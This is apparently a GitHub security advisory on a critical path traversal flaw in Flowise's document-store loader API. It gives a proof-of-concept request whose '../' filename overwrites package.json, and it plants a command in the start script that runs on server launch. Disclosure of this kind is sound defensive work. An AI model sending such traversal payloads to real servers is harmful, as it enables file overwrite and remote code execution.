An attacker could write files with arbitrary content to the filesystem via the /api/v1/document-store/loader/process
API.
An attacker can reach RCE(Remote Code Execution) via file writing.
All file writing functions in packages/components/src/storageUtils.ts are vulnerable. - addBase64FilesToStorage - addArrayFilesToStorage - addSingleFileToStorage
The fileName parameter, which is an untrusted external input, is being used as an argument to path.join() without verification.
const filePath = path.join(dir, fileName)
fs.writeFileSync(filePath, bf)
Therefore, users can move to the parent folder via ../
and write files to any path.
Once file writing is possible in all paths, an attacker can reach RCE (Remote Code Execution) in a variety of ways.
In PoC (Proof of Concept), RCE was reached by overwriting package.json.
In PoC, package.json
is overwritten.
This is a scenario in which arbitrary code is executed when pnpm start
is executed by changing the start command in the scripts{}
statement to an arbitrary value.
- original start command
"start": "run-script-os",
- modify start command
"start": "touch /tmp/pyozzi-poc && run-script-os",
When a user runs the pnpm start
command, a pyozzi-poc
file is created in the /tmp
path.
{
"name": "flowise",
"version": "1.8.2",
"private": true,
"homepage": "https://flowiseai.com",
"workspaces": [
"packages/*",
"flowise",
"ui",
"components"
],
"scripts": {
"build": "turbo run build && echo poc",
"build-force": "pnpm clean && turbo run build --force",
"dev": "turbo run dev --parallel",
"start": "touch /tmp/pyozzi-poc && run-script-os", --> modify (add touch /tmp/pyozzi &&)
"start:windows": "cd packages/server/bin && run start",
"start:default": "cd packages/server/bin && ./run start",
"clean": "pnpm --filter \"./packages/**\" clean",
"nuke": "pnpm --filter \"./packages/**\" nuke && rimraf node_modules .turbo",
"format": "prettier --write \"**/*.{ts,tsx,md}\"",
"lint": "eslint \"**/*.{js,jsx,ts,tsx,json,md}\"",
"lint-fix": "pnpm lint --fix",
"quick": "pretty-quick --staged",
"postinstall": "husky install",
"migration:create": "pnpm typeorm migration:create"
}, ... skip
package.json
via /api/v1/document-store/loader/process
<img width="1329" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/a548732d-4bee-4cd0-8565-54fb8e560500">
Request Body
{ "loaderId": "textFile", "storeId": "c4b8a8fb-9eb6-47ae-9caa-7702ef8baabb", "loaderName": "Text File", "loaderConfig": { "txtFile": "data:text/plain;BASE64_ENCODEING_CONTENT,filename:/../../../../../usr/src/package.json", "textSplitter": "", "metadata": "", "omitMetadataKeys": "" } }
The part after
filename:
of thetxtFile
parameter is the value used asfileName
in the function. Add../
to the filename value to move to the top path, then specifypackage.json
in the project folder/usr/src/
as the path.
<img width="663" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/13fdc756-f4d3-45f9-9929-fd978f532a02">
Afterwards, when the user starts the server (pnpm start
), the added script will be executed. (touch /tmp/pyozzi-poc
)
- starting server with touch /tmp/pyozzi-poc
command
<img width="737" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/341be379-43ca-4acc-9126-dc398475fcf3">
- /tmp/pyozzi-poc
file created
<img width="751" alt="image" src="https://github.com/FlowiseAI/Flowise/assets/86613161/15707068-c000-4d59-972d-89d969c27087">
Remote Code Execution (RCE) Although it is demonstrated here using the file creation command, you can obtain full server shell privileges by opening a reverse shell.
{ "github_reviewed_at": "2025-03-14T18:48:44Z", "cwe_ids": [ "CWE-94" ], "nvd_published_at": null, "severity": "CRITICAL", "github_reviewed": true }